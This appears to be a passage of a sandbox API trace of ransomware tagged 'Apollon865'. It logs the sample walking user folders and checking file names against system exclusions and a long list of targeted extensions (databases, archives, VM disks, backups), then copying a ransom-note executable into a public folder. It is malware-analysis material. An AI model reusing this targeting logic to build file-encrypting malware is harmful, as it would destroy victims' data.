	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0036.008] lstrlenW (lpString="vvv") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0036.008] lstrlenW (lpString="wdb") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0036.008] lstrlenW (lpString="wmdb") returned 4
	[0036.008] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0036.009] lstrlenW (lpString="wrk") returned 3
	[0036.009] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0036.009] lstrlenW (lpString="xdb") returned 3
	[0036.009] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0036.009] lstrlenW (lpString="xld") returned 3
	[0036.009] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0036.009] lstrlenW (lpString="xmlff") returned 5
	[0036.009] lstrcmpiW (lpString1="a.mp3", lpString2="xmlff") returned -1
	[0036.009] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".") returned 1
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="..") returned 1
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="windows") returned -1
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="bootmgr") returned 1
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="temp") returned -1
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="pagefile.sys") returned -1
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="boot") returned 1
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="ids.txt") returned 1
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="ntuser.dat") returned -1
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="perflogs") returned -1
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="MSBuild") returned -1
	[0036.009] lstrlenW (lpString="Maid with the Flaxen Hair.mp3") returned 29
	[0036.009] lstrlenW (lpString="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3") returned 46
	[0036.009] lstrcpyW (in: lpString1=0x2d3e596, lpString2="Maid with the Flaxen Hair.mp3" | out: lpString1="Maid with the Flaxen Hair.mp3") returned="Maid with the Flaxen Hair.mp3"
	[0036.009] lstrlenW (lpString="Maid with the Flaxen Hair.mp3") returned 29
	[0036.009] lstrlenW (lpString="Apollon865") returned 10
	[0036.009] lstrcmpiW (lpString1="n Hair.mp3", lpString2="Apollon865") returned 1
	[0036.009] lstrlenW (lpString=".dll") returned 4
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".dll") returned 1
	[0036.009] lstrlenW (lpString=".lnk") returned 4
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".lnk") returned 1
	[0036.009] lstrlenW (lpString=".ini") returned 4
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".ini") returned 1
	[0036.009] lstrlenW (lpString=".sys") returned 4
	[0036.009] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".sys") returned 1
	[0036.010] lstrlenW (lpString="Maid with the Flaxen Hair.mp3") returned 29
	[0036.010] lstrlenW (lpString="bak") returned 3
	[0036.010] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0036.010] lstrlenW (lpString="ba_") returned 3
	[0036.010] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0036.010] lstrlenW (lpString="dbb") returned 3
	[0036.010] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0036.010] lstrlenW (lpString="vmdk") returned 4
	[0036.010] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0036.010] lstrlenW (lpString="rar") returned 3
	[0036.010] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0036.010] lstrlenW (lpString="zip") returned 3
	[0036.010] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0036.010] lstrlenW (lpString="tgz") returned 3
	[0036.010] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0036.010] lstrlenW (lpString="vbox") returned 4
	[0036.010] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0036.010] lstrlenW (lpString="vdi") returned 3
	[0036.010] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0036.010] lstrlenW (lpString="vhd") returned 3
	[0036.010] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0036.010] lstrlenW (lpString="vhdx") returned 4
	[0036.010] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0036.010] lstrlenW (lpString="avhd") returned 4
	[0036.010] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0036.010] lstrlenW (lpString="db") returned 2
	[0036.010] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0036.010] lstrlenW (lpString="db2") returned 3
	[0036.010] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0036.010] lstrlenW (lpString="db3") returned 3
	[0036.010] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0036.010] lstrlenW (lpString="dbf") returned 3
	[0036.010] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0036.010] lstrlenW (lpString="mdf") returned 3
	[0036.010] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0036.010] lstrlenW (lpString="mdb") returned 3
	[0036.010] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0036.011] lstrlenW (lpString="sql") returned 3
	[0036.011] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0036.011] lstrlenW (lpString="sqlite") returned 6
	[0036.011] lstrcmpiW (lpString1="ir.mp3", lpString2="sqlite") returned -1
	[0036.011] lstrlenW (lpString="sqlite3") returned 7
	[0036.011] lstrcmpiW (lpString1="air.mp3", lpString2="sqlite3") returned -1
	[0036.011] lstrlenW (lpString="sqlitedb") returned 8
	[0036.011] lstrcmpiW (lpString1="Hair.mp3", lpString2="sqlitedb") returned -1
	[0036.011] lstrlenW (lpString="xml") returned 3
	[0036.011] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0036.011] lstrlenW (lpString="$er") returned 3
	[0036.011] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0036.011] lstrlenW (lpString="4dd") returned 3
	[0036.011] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0036.011] lstrlenW (lpString="4dl") returned 3
	[0036.011] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0036.011] lstrlenW (lpString="^^^") returned 3
	[0036.011] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0036.011] lstrlenW (lpString="abs") returned 3
	[0036.011] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0036.011] lstrlenW (lpString="abx") returned 3
	[0036.011] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0036.011] lstrlenW (lpString="accdb") returned 5
	[0036.011] lstrcmpiW (lpString1="r.mp3", lpString2="accdb") returned 1
	[0036.011] lstrlenW (lpString="accdc") returned 5
	[0036.011] lstrcmpiW (lpString1="r.mp3", lpString2="accdc") returned 1
	[0036.011] lstrlenW (lpString="accde") returned 5
	[0036.011] lstrcmpiW (lpString1="r.mp3", lpString2="accde") returned 1
	[0036.011] lstrlenW (lpString="accdr") returned 5
	[0036.011] lstrcmpiW (lpString1="r.mp3", lpString2="accdr") returned 1
	[0036.011] lstrlenW (lpString="accdt") returned 5
	[0036.011] lstrcmpiW (lpString1="r.mp3", lpString2="accdt") returned 1
	[0036.011] lstrlenW (lpString="accdw") returned 5
	[0036.011] lstrcmpiW (lpString1="r.mp3", lpString2="accdw") returned 1
	[0036.011] lstrlenW (lpString="accft") returned 5
	[0036.011] lstrcmpiW (lpString1="r.mp3", lpString2="accft") returned 1
	[0036.011] lstrlenW (lpString="adb") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0036.012] lstrlenW (lpString="adb") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0036.012] lstrlenW (lpString="ade") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0036.012] lstrlenW (lpString="adf") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0036.012] lstrlenW (lpString="adn") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0036.012] lstrlenW (lpString="adp") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0036.012] lstrlenW (lpString="alf") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0036.012] lstrlenW (lpString="ask") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0036.012] lstrlenW (lpString="btr") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0036.012] lstrlenW (lpString="cat") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0036.012] lstrlenW (lpString="cdb") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0036.012] lstrlenW (lpString="ckp") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0036.012] lstrlenW (lpString="cma") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0036.012] lstrlenW (lpString="cpd") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0036.012] lstrlenW (lpString="dacpac") returned 6
	[0036.012] lstrcmpiW (lpString1="ir.mp3", lpString2="dacpac") returned 1
	[0036.012] lstrlenW (lpString="dad") returned 3
	[0036.012] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0036.012] lstrlenW (lpString="dadiagrams") returned 10
	[0036.012] lstrcmpiW (lpString1="n Hair.mp3", lpString2="dadiagrams") returned 1
	[0036.012] lstrlenW (lpString="daschema") returned 8
	[0036.012] lstrcmpiW (lpString1="Hair.mp3", lpString2="daschema") returned 1
	[0036.012] lstrlenW (lpString="db-journal") returned 10
	[0036.012] lstrcmpiW (lpString1="n Hair.mp3", lpString2="db-journal") returned 1
	[0036.012] lstrlenW (lpString="db-shm") returned 6
	[0036.013] lstrcmpiW (lpString1="ir.mp3", lpString2="db-shm") returned 1
	[0036.013] lstrlenW (lpString="db-wal") returned 6
	[0036.013] lstrcmpiW (lpString1="ir.mp3", lpString2="db-wal") returned 1
	[0036.013] lstrlenW (lpString="dbc") returned 3
	[0036.013] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0036.013] lstrlenW (lpString="dbs") returned 3
	[0036.013] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0036.013] lstrlenW (lpString="dbt") returned 3
	[0036.013] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0036.013] lstrlenW (lpString="dbv") returned 3
	[0036.013] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0036.013] lstrlenW (lpString="dbx") returned 3
	[0036.013] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0036.013] lstrlenW (lpString="dcb") returned 3
	[0036.013] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0036.013] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0036.013] lstrcpyW (in: lpString1=0x2d3e596, lpString2="Sleep Away.mp3" | out: lpString1="Sleep Away.mp3") returned="Sleep Away.mp3"
	[0036.013] lstrlenW (lpString="Sleep Away.mp3") returned 14
	[0036.013] lstrlenW (lpString="Apollon865") returned 10
	[0036.013] lstrcmpiW (lpString1="p Away.mp3", lpString2="Apollon865") returned 1
	[0036.013] lstrlenW (lpString=".dll") returned 4
	[0036.013] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".dll") returned 1
	[0036.013] lstrlenW (lpString=".lnk") returned 4
	[0036.013] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".lnk") returned 1
	[0036.013] lstrlenW (lpString=".ini") returned 4
	[0036.014] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".ini") returned 1
	[0036.014] lstrlenW (lpString=".sys") returned 4
	[0036.014] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".sys") returned 1
	[0036.014] lstrlenW (lpString="Sleep Away.mp3") returned 14
	[0036.014] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Libraries", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries"
	[0036.014] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca1d0 | out: hHeap=0x580000) returned 1
	[0036.014] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0036.014] lstrlenW (lpString="C:\\Users\\Public\\Libraries") returned 25
	[0036.014] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries"
	[0036.014] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.015] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Libraries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\libraries\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.021] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.021] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dbbd650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dbbd650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca1d0
	[0036.022] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.022] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.022] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.022] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dbbd650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dbbd650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.022] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.022] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.022] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.022] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.022] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.022] lstrlenW (lpString="desktop.ini") returned 11
	[0036.022] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\*") returned 27
	[0036.022] lstrcpyW (in: lpString1=0x2d3e584, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.022] lstrlenW (lpString="desktop.ini") returned 11
	[0036.022] lstrlenW (lpString="Apollon865") returned 10
	[0036.022] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.022] lstrlenW (lpString=".dll") returned 4
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.022] lstrlenW (lpString=".lnk") returned 4
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.022] lstrlenW (lpString=".ini") returned 4
	[0036.022] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.022] lstrlenW (lpString=".sys") returned 4
	[0036.023] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.023] lstrlenW (lpString="desktop.ini") returned 11
	[0036.023] lstrlenW (lpString="bak") returned 3
	[0036.023] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.023] lstrlenW (lpString="ba_") returned 3
	[0036.023] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.023] lstrlenW (lpString="dbb") returned 3
	[0036.023] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.023] lstrlenW (lpString="vmdk") returned 4
	[0036.023] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.023] lstrlenW (lpString="rar") returned 3
	[0036.023] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.023] lstrlenW (lpString="zip") returned 3
	[0036.023] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.023] lstrlenW (lpString="tgz") returned 3
	[0036.023] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.023] lstrlenW (lpString="vbox") returned 4
	[0036.023] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.023] lstrlenW (lpString="vdi") returned 3
	[0036.023] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.023] lstrlenW (lpString="vhd") returned 3
	[0036.023] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.023] lstrlenW (lpString="vhdx") returned 4
	[0036.023] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.023] lstrlenW (lpString="avhd") returned 4
	[0036.023] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.023] lstrlenW (lpString="db") returned 2
	[0036.023] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.023] lstrlenW (lpString="db2") returned 3
	[0036.023] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.023] lstrlenW (lpString="db3") returned 3
	[0036.023] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.023] lstrlenW (lpString="dbf") returned 3
	[0036.023] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.023] lstrlenW (lpString="mdf") returned 3
	[0036.023] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.023] lstrlenW (lpString="mdb") returned 3
	[0036.023] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.024] lstrlenW (lpString="sql") returned 3
	[0036.024] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.024] lstrlenW (lpString="sqlite") returned 6
	[0036.024] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.024] lstrlenW (lpString="sqlite3") returned 7
	[0036.024] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.024] lstrlenW (lpString="sqlitedb") returned 8
	[0036.024] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.024] lstrlenW (lpString="xml") returned 3
	[0036.024] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.024] lstrlenW (lpString="$er") returned 3
	[0036.024] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.024] lstrlenW (lpString="4dd") returned 3
	[0036.024] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.024] lstrlenW (lpString="4dl") returned 3
	[0036.024] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.024] lstrlenW (lpString="^^^") returned 3
	[0036.024] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.024] lstrlenW (lpString="abs") returned 3
	[0036.024] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.024] lstrlenW (lpString="abx") returned 3
	[0036.024] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.024] lstrlenW (lpString="accdb") returned 5
	[0036.024] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.024] lstrlenW (lpString="accdc") returned 5
	[0036.024] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.024] lstrlenW (lpString="accde") returned 5
	[0036.024] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.024] lstrlenW (lpString="accdr") returned 5
	[0036.024] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.024] lstrlenW (lpString="accdt") returned 5
	[0036.024] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.024] lstrlenW (lpString="accdw") returned 5
	[0036.024] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.024] lstrlenW (lpString="accft") returned 5
	[0036.024] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.024] lstrlenW (lpString="adb") returned 3
	[0036.024] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.025] lstrlenW (lpString="adb") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.025] lstrlenW (lpString="ade") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.025] lstrlenW (lpString="adf") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.025] lstrlenW (lpString="adn") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.025] lstrlenW (lpString="adp") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.025] lstrlenW (lpString="alf") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.025] lstrlenW (lpString="ask") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.025] lstrlenW (lpString="btr") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.025] lstrlenW (lpString="cat") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.025] lstrlenW (lpString="cdb") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.025] lstrlenW (lpString="ckp") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.025] lstrlenW (lpString="cma") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.025] lstrlenW (lpString="cpd") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.025] lstrlenW (lpString="dacpac") returned 6
	[0036.025] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.025] lstrlenW (lpString="dad") returned 3
	[0036.025] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.025] lstrlenW (lpString="dadiagrams") returned 10
	[0036.025] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.025] lstrlenW (lpString="daschema") returned 8
	[0036.025] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.025] lstrlenW (lpString="db-journal") returned 10
	[0036.025] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.025] lstrlenW (lpString="db-shm") returned 6
	[0036.026] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.026] lstrlenW (lpString="db-wal") returned 6
	[0036.026] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.026] lstrlenW (lpString="dbc") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.026] lstrlenW (lpString="dbs") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.026] lstrlenW (lpString="dbt") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.026] lstrlenW (lpString="dbv") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.026] lstrlenW (lpString="dbx") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.026] lstrlenW (lpString="dcb") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.026] lstrlenW (lpString="dct") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.026] lstrlenW (lpString="dcx") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.026] lstrlenW (lpString="ddl") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.026] lstrlenW (lpString="dlis") returned 4
	[0036.026] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.026] lstrlenW (lpString="dp1") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.026] lstrlenW (lpString="dqy") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.026] lstrlenW (lpString="dsk") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.026] lstrlenW (lpString="dsn") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.026] lstrlenW (lpString="dtsx") returned 4
	[0036.026] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.026] lstrlenW (lpString="dxl") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0036.026] lstrlenW (lpString="eco") returned 3
	[0036.026] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.026] lstrlenW (lpString="ecx") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
